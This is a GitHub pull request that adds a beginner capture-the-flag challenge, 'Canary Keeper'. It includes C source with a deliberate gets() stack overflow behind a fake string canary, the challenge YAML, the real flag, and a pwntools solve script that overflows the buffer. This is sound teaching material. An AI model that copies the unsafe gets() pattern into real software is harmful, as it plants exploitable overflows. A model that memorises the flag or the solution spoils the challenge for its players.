Skip to content
This repository has been archived by the owner on Jun 11, 2024. It is now read-only.

Binex/canary keeper 0 #65

Merged
merged 7 commits into from
Jun 6, 2024
Merged
Show file tree
Hide file tree
Changes from 2 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
36 changes: 36 additions & 0 deletions canary-keeper-0/chall.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
#include <string.h>
#include <stdio.h>

#define CANARY_VALUE "canary\0"
#define FLAG_VALUE "bcactf{s1mple_CANaRY_9b36bd9f3fd2f}\0"

int check_canary(const char* canary) {
return strcmp(canary, CANARY_VALUE) == 0;
}

int check_flag(const char* flag) {
return strcmp(flag, FLAG_VALUE) == 0;
}

int main() {
char flag[64] = FLAG_VALUE;
char canary[7] = CANARY_VALUE;
char buffer[64];

printf("Enter a string: ");
gets(buffer);

if (!check_canary(canary)) {
printf("Buffer overflow detected!\n");
return 1;
}

if (check_flag(flag)) {
printf("No changes in flag detected!\n");
return 1;
}

printf("Flag: %s\n", FLAG_VALUE);

return 0;
}
16 changes: 16 additions & 0 deletions canary-keeper-0/chall.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
name: Canary Keeper
categories:
- binex
value: 100
flag:
file: ./flag.txt
description: |-
My Friend Gave me this executeable, but it keeps giving me errors.
mud-ali marked this conversation as resolved.
Show resolved Hide resolved
Can you get the flag?
files:
- src: ./a.out # TODO COMPILED VERSION OF PROVIDED.C
authors:
- Jack
visible: true

#Todo Deployment
36 changes: 36 additions & 0 deletions canary-keeper-0/provided.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
#include <string.h>
#include <stdio.h>

#define CANARY_VALUE "canary\0"
#define FLAG_VALUE "FLAG\0"

int check_canary(const char* canary) {
return strcmp(canary, CANARY_VALUE) == 0;
}

int check_flag(const char* flag) {
return strcmp(flag, FLAG_VALUE) == 0;
}

int main() {
char flag[64] = FLAG_VALUE;
char canary[7] = CANARY_VALUE;
char buffer[64];

printf("Enter a string: ");
gets(buffer);

if (!check_canary(canary)) {
printf("Buffer overflow detected!\n");
return 1;
}

if (check_flag(flag)) {
printf("No changes in flag detected!\n");
return 1;
}

printf("Flag: %s\n", FLAG_VALUE);

return 0;
}
7 changes: 7 additions & 0 deletions canary-keeper-0/solve.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
from pwn import *

p = process('./a.out')

p.sendline(b'A'*73+b'canary\0'+b'test')
flag = p.recvall()
print(flag.decode())
Loading